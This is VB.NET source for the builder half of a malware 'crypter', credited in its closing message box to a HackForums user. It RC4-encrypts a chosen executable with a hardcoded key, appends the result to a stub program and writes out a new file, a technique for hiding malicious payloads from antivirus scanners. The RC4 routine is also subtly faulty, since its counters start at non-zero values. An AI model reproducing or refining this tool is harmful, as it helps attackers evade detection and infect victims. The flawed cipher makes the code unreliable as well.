115 lines
4.4 KiB
VB.net
115 lines
4.4 KiB
VB.net
Imports System.Text
|
|
|
|
Imports System.Security.Cryptography
|
|
Public Class Form1
|
|
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer)
|
|
|
|
Function GetEOF(ByVal Path As String) As Long
|
|
Dim ByteArray() As Byte
|
|
Dim PE As Long, NumberOfSections As Integer
|
|
Dim BeginLastSection As Long
|
|
Dim RawSize As Long, RawOffset As Long
|
|
|
|
FileOpen(10, Path, OpenMode.Binary, OpenAccess.Default)
|
|
ReDim ByteArray(LOF(10) - 1)
|
|
FileGet(10, ByteArray)
|
|
FileClose(10)
|
|
|
|
Call CopyMemory(PE, ByteArray(&H3C), 4)
|
|
Call CopyMemory(NumberOfSections, ByteArray(PE + &H6), 2)
|
|
BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
|
|
Call CopyMemory(RawSize, ByteArray(BeginLastSection + 16), 4)
|
|
Call CopyMemory(RawOffset, ByteArray(BeginLastSection + 20), 4)
|
|
GetEOF = RawSize + RawOffset
|
|
|
|
End Function
|
|
Const filesplit = "@Toxicisthebest@"
|
|
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
|
Dim i As Integer = 9
|
|
Dim j As Integer = 9
|
|
Dim dhivin As New StringBuilder
|
|
Dim returndhivin As String = String.Empty
|
|
Dim sbox As Integer() = New Integer(256) {}
|
|
Dim dhivin1 As Integer() = New Integer(256) {}
|
|
Dim intLength As Integer = password.Length
|
|
Dim a As Integer = 0
|
|
While a <= 255
|
|
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
|
dhivin1(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
|
sbox(a) = a
|
|
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
|
End While
|
|
Dim x As Integer = 10
|
|
Dim b As Integer = 10
|
|
While b <= 255
|
|
x = (x + sbox(b) + dhivin1(b)) Mod 256
|
|
Dim tempSwap As Integer = sbox(b)
|
|
sbox(b) = sbox(x)
|
|
sbox(x) = tempSwap
|
|
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
|
End While
|
|
a = 1
|
|
While a <= message.Length
|
|
Dim itmp As Integer = 100
|
|
i = (i + 1) Mod 256
|
|
j = (j + sbox(i)) Mod 256
|
|
itmp = sbox(i)
|
|
sbox(i) = sbox(j)
|
|
sbox(j) = itmp
|
|
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
|
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
|
itmp = Asc(ctmp)
|
|
Dim dhivinby As Integer = itmp Xor k
|
|
dhivin.Append(Chr(dhivinby))
|
|
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
|
End While
|
|
returndhivin = dhivin.ToString
|
|
dhivin.Length = 0
|
|
Return returndhivin
|
|
End Function
|
|
|
|
|
|
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
|
Dim openf As New OpenFileDialog
|
|
If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
|
|
TextBox1.Text = openf.FileName
|
|
Else : Exit Sub
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
|
|
On Error Resume Next
|
|
Dim filein, filename, stub As String
|
|
Dim lol As New SaveFileDialog
|
|
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
|
|
filename = lol.FileName
|
|
Else : Exit Sub
|
|
End If
|
|
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
|
|
filein = Space(LOF(1))
|
|
FileGet(1, filein)
|
|
FileClose(1)
|
|
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
|
|
stub = Space(LOF(1))
|
|
FileGet(1, stub)
|
|
FileClose(1)
|
|
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
|
|
FilePut(1, stub & filesplit & rc4(filein, "Toxicisthebest"))
|
|
|
|
|
|
|
|
|
|
FileClose(1)
|
|
Call GetEOF(TextBox1.Text)
|
|
MsgBox("Crypted ! Thanks for using Sk1D Crypter Private Made by : Toxic on HackForums.Net")
|
|
Me.Close()
|
|
End
|
|
End Sub
|
|
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
|
|
|
End Sub
|
|
|
|
Private Sub RadioButton4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
|
|
|
|
End Sub
|
|
End Class |